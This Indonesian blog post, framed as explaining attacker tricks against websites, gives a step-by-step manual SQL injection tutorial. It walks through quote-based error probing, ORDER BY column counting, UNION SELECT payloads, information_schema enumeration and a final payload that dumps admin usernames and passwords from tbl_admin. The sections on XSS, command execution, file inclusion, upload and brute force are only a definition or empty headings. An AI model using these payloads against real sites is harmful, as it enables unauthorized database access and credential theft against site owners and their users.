Attaker Trik

Mengetahui Trik Attaker terhadap web kita
Kali ini saya akan membahas beberapa trik yang di gunakan Attaker (Hacker) yang mungkin untuk meng Hack Web yang kita buat.
Ada Beberapa Trik Yang digunakan oleh attaker untuk meng hack web yang kita buat diantaranya yaitu:
  • SQLI
  • XSS
  • Command Execution
  • File Inclusion
  • File Upload
  • Brute Force

  • SQLI (SQL Injection)
  • SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat meng insert perintah-perintah SQL melalui url untuk dieksekusi oleh database.
    Penyebab utama dari celah ini adalah variable yang kurang di filter :

    id=$id;……. >
    Got Error

    Hal pertama yang harus kamu lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah url.
    Example : http://situsq.com/berita.php?id=14’
    Apabila terlihat pesan error seperti ini :
    You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
    Maka bisa dipastikan situs tersebut terdapat celah SQL Injection…
    Next Step
    Nah setelah mengetahui bahwa di situs tersebut terdapat celah SQL Injection maka yang harus kamu lakukan selanjutnya adalah menghitung jumlah table yang ada di dalam databasenya (tenang aja gak pake matematika kok :P) caranya dengan perintah “order by”

    Example : http://situsq.com/berita.php?id=-14+order+by+10/*

    Uuppss… mengapa “-14”? karena -14 bukanlah id berita yang valid… trus 10, angka buat apaan tuh? Hhmm… untuk mengetahui jumlah tabelnya pertama-tama kita harus menebak terlebih dahulu apabila muncul pesan error seperti ini :

    Unknown column ‘10′ in ‘order clause’

    berarti jumlah tebakan kita salah, but klo situsnya muncul seperti biasa berarti jumlah tebakan kita sudah benar :D… trus karakter “+” dan “/*” gunanya buat apa?
    + <=- sebagai penghubung perintah
    Atau dapat juga diganti dengan :
    /**/
    %20
    Sedangkan karakter “/*” adalah karakter penutup perintah sql atau dapat juga diganti dengan :

    Nah klo semuanya udah jelas sekarang kita lanjut pake union… buat mengetahui angka berapa yang show
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,4,5,6,7,8,9,10/*
    Nah apabila muncul angka yang tadinya gak ada dihalaman tersebut berarti itulah angka yang show… nah angka yang show itulah yang nantinya bakalan kita injek (bukan pakesepatu)… pertama kita cari tau version mysql yang dia pake,apabila tadi yang muncul adalah angka 4 maka kita akan pake angka 4
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,version(),5,6,7,8,9,10/*
    Nah klo misalnya yang keluar ada angka 5 berarti situs tersebut memakai database versi 5… nah klo udah tau versinya sekarang kita cari tahu nama databasenya caranya cukup ganti “version()” tadi dengan “database()”… Next
    seumpamanya tadi versi 5 berarti kita bisa pake perintah information_schema untuk melihat tabel & kolom yang ada di dalam databasenya.
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables/*
    Selanjutnya kita harus menambahkan LIMIT di akhir url untuk melihat tabel-tabel yang lainnya…
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables+limit+0,1/*
    Selanjutnya kamu tinggal merubah angka 0,1 menjadi 1,1 dan 2,1 begitu seterusnya sampai kamu menemukan tabel-tabel penting yang ada dalam database seperti “tbl_admin, tbl_user, users dll”… klo dah keliatan semua s’lanjutnya kita akan melihat kolom-kolom yang ada dalam tabel yang kita dapatkan tadi caranya hampir sama dengan cara mencari tabel tadi.
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+information_schema.columns/*
    Setelah itu mmenggunakan limit 0,1 dan seterusnya
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+information_schema.columns+limit+0,1/*
    Sehingga kita menemukan kolom-kolom seperti “username,password,email dll” atau kamu bisa mencari tabel user dengan menambahkan perintah where table_name=’user’/*
    Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+information_schema.columns+where+table_name=’user’/*
    Biasanya untuk lebih memudahkan menemukan tabel dan kolom saya sering menggunakan sebuah tool yang bernama schemafuzz.py tetapi setidaknya kamu harus mengerti cara diatas terlebih dahulu karena tool disini hanya alat Bantu saja…
    Got Password
    Nah,,, disinilah inti dari SQL Injection… yaitu mendapatkan password admin… apabila tadi kamu telah menemukan tabel admin yang bernama “tbl_admin” dan kolom-kolomnya seperti “username,password” dll sekarang untuk melihat isi dari kolom username dan password tersebut kamu akan menggunakan concat.
    Example : http://situsq.com/berita.php?id=- 14+union+select+1,2,3,concat(username,0x3a,password) ,5,6,7,8,9,10+from+tbl_admin/*
    0x3a <=- adalah pemisah kolom username dan password agar dapat dibedakan yang mana password dan yang mana username atau dapat juga diganti dengan char(58).
    Sekarang dah dapat passwordnya???
    Tunggu apalagi??
    Lapor ama admin… xixixixi

  • XSS

  • XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.

    XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.
  • Command Execution

  • File Inclusion


  • File Upload


  • Brute Force


  •  

    0 komentar:

    Posting Komentar